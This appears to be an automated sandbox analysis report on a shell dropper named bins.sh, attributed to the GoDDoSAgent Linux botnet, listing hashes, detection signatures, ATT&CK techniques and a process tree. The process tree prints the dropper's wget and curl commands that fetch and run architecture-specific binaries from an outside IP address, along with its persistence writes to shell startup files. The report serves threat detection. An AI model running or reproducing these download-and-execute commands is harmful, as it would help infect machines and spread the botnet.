Analysis
- max time kernel
149s - max time network
150s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
03/10/2026, 16:02
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20260513-en
General
- Target bins.sh
- Size 1KB
- Sample261003-tgvpcasblf
- SHA256 5c107b54a0d4829dcb5ea0618217b69b28659902a629be2ec3967f49e13b48a6
- MD5 d37de4f012d5ae3b5bde887bace585a4
- SHA1 8c3b092d69b93df40a3e30eb3ab345cc46f288f9
- SHA512 46802c7068834d4d3ee2ecd50c09ecf8d0d5fb6497775a88d738065beb80630c55bfe2fe660ac51428b2a5202b4ee78b9ea1a7506638b430e9db9cc36b09e870
- TLSH T16E41EA8BA2A045F785099DC5F35414C0F1AE46CFF172CFFDB46896A2195E22CF59AB30
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Family: GoDDoSAgent
GoDDoSAgent is a Linux botnet written in GoLang.
- Detects GoDDoSAgent 3 IoCs
resource yara_rule behavioral2/files/fstream-1.dat family_goddosagent behavioral2/files/fstream-5.dat family_goddosagent behavioral2/files/fstream-7.dat family_goddosagent - File and Directory Permissions Modification 1 TTPs 7 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 788 chmod 795 chmod 806 chmod 682 chmod 687 chmod 771 chmod 781 chmod - Executes dropped EXE 7 IoCs
ioc pid Process /tmp/x86 683 bins.sh /tmp/x86 688 bins.sh /tmp/i386 772 bins.sh /tmp/i386 782 bins.sh /tmp/amd64 789 bins.sh /tmp/amd64 796 bins.sh /tmp/arm 807 bins.sh - Creates/modifies environment variables 1 TTPs 3 IoCs
Creating/modifying environment variables is a common persistence mechanism.
description ioc Process File opened for modification /root/.bashrc arm File opened for modification /home/user/.bashrc arm File opened for modification /etc/profile arm - Write file to user bin folder 2 IoCs
description ioc Process File opened for modification /usr/bin/test_write arm File opened for modification /usr/bin/sysd arm - Modifies Bash startup script 2 TTPs 3 IoCs
description ioc Process File opened for modification /etc/profile arm File opened for modification /root/.bashrc arm File opened for modification /home/user/.bashrc arm - Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl - Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size arm -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/meminfo arm File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv arm File opened for reading /proc/stat arm - Writes file to tmp directory 7 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/arm wget File opened for modification /tmp/x86 wget File opened for modification /tmp/x86 curl File opened for modification /tmp/i386 wget File opened for modification /tmp/i386 curl File opened for modification /tmp/amd64 wget File opened for modification /tmp/amd64 curl
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
PID:653 -
/usr/bin/wgetwget http://185.213.240.64/x86 -O x862⤵
- Writes file to tmp directory
PID:655
-
-
/bin/chmodchmod +x x862⤵
- File and Directory Permissions Modification
PID:682
-
-
/tmp/x86./x862⤵PID:683
-
-
/bin/rmrm -f x862⤵PID:685
-
-
/usr/bin/curlcurl -O http://185.213.240.64/x862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:686
-
-
/bin/chmodchmod +x x862⤵
- File and Directory Permissions Modification
PID:687
-
-
/tmp/x86./x862⤵PID:688
-
-
/bin/rmrm -f x862⤵PID:690
-
-
/usr/bin/wgetwget http://185.213.240.64/i386 -O i3862⤵
- Writes file to tmp directory
PID:691
-
-
/bin/chmodchmod +x i3862⤵
- File and Directory Permissions Modification
PID:771
-
-
/tmp/i386./i3862⤵PID:772
-
-
/bin/rmrm -f i3862⤵PID:774
-
-
/usr/bin/curlcurl -O http://185.213.240.64/i3862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:775
-
-
/bin/chmodchmod +x i3862⤵
- File and Directory Permissions Modification
PID:781
-
-
/tmp/i386./i3862⤵PID:782
-
-
/bin/rmrm -f i3862⤵PID:784
-
-
/usr/bin/wgetwget http://185.213.240.64/amd64 -O amd642⤵
- Writes file to tmp directory
PID:785
-
-
/bin/chmodchmod +x amd642⤵
- File and Directory Permissions Modification
PID:788
-
-
/tmp/amd64./amd642⤵PID:789
-
-
/bin/rmrm -f amd642⤵PID:791
-
-
/usr/bin/curlcurl -O http://185.213.240.64/amd642⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:792
-
-
/bin/chmodchmod +x amd642⤵
- File and Directory Permissions Modification
PID:795
-
-
/tmp/amd64./amd642⤵PID:796
-
-
/bin/rmrm -f amd642⤵PID:798
-
-
/usr/bin/wgetwget http://185.213.240.64/arm -O arm2⤵
- Writes file to tmp directory
PID:799
-
-
/bin/chmodchmod +x arm2⤵
- File and Directory Permissions Modification
PID:806
-
-
/tmp/arm./arm2⤵
- Creates/modifies environment variables
- Write file to user bin folder
- Modifies Bash startup script
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:807
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Privilege Escalation
Boot or Logon Autostart Execution
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/amd64
- Size 5.1MB
- SHA256 2811db9292f37f6c57e2ccebcee80535145b40ee4bcae22e44c28127c83443bd
- MD5 1abb60890c99252961a8fd75b183ec35
- SHA1 5188a0b1443f8910e9c344b2b1fd7782fa169a6b
- SHA512 5842e670caa88aaf3b74b80067bab29d46ad0bb1665562735fbb125e8cecff4021236cea0832dcb38d2da3d4d36f63edaf32b7bc89fc45779684517a2818e967
- SSDEEP 49152:frmnUMcYEjEPsaqV95vf5d+IIEQmWfRFRJqs45EZPnLECXSS0PwKEIQ20:AbEaA9BfGfRFKEBfp046y
- TLSH T101364B07ECA545E9C0AED63486629253BB71BC485B3427D32F60F7382F76BD0AA79740
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/arm
- Size 4.9MB
- SHA256 6a9667b46479cc993b98542d211c845ce055b06f4bb47b5555749a20bccf589e
- MD5 8431d1679d8a112e0487337024a5b2e7
- SHA1 db7b0148b35a3f2a5b9ecb8133f2a27ccb1c04fe
- SHA512 9805dd9aad5f99ec07f608a9001ef04299911a501691fe77e64c449d2461aed2a730fded9c5eff42f6fe4f759e182cfa4c4d1a93868b4a01d38f5c2598e1d8b6
- SSDEEP 24576:fCxsisp/Z+SMe+AxB0UNCtFMI/josPVh1fatwvLUWEVj5bDWuVD0NCy5zSzZmOcs:JpAGBYaegou9ig76jXyBWMx
- TLSH T1D5361A97B8814A83C4E43637BCBD81C433A74EB99B9752666D04FE3C3ABE5990E35314
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/x86
- Size 4.9MB
- SHA256 c56cc6910fb65195d43496ded00712f9f69a2c9fa9f91016f8b175e030b47850
- MD5 3219b247a2dd0303e4e710f569ea2770
- SHA1 f7daee87125fae31e1f86f578e0e35ce34acc97f
- SHA512 54cef3d266c088969a80d0468e9ef3ae997f395c308cf8d44f84c990a610bc27007630d84b62e3e685e1e1a62853a231857d3b88adfad856e823261333a216bd
- SSDEEP 49152:+PcG1dt6FBxV5i/WZzFlDpJnchvW5WTYNjVmzyM+WtSM/5aINoprhTMnAbDO:GcG1X6lDDzhvmzyRTG
- TLSH T19A361950FACB04F6E5431E3018BBA26F67315D098B24EBD7EA507F69F977692193220C
- MD5 SHA1 SHA512 SSDEEP TLSH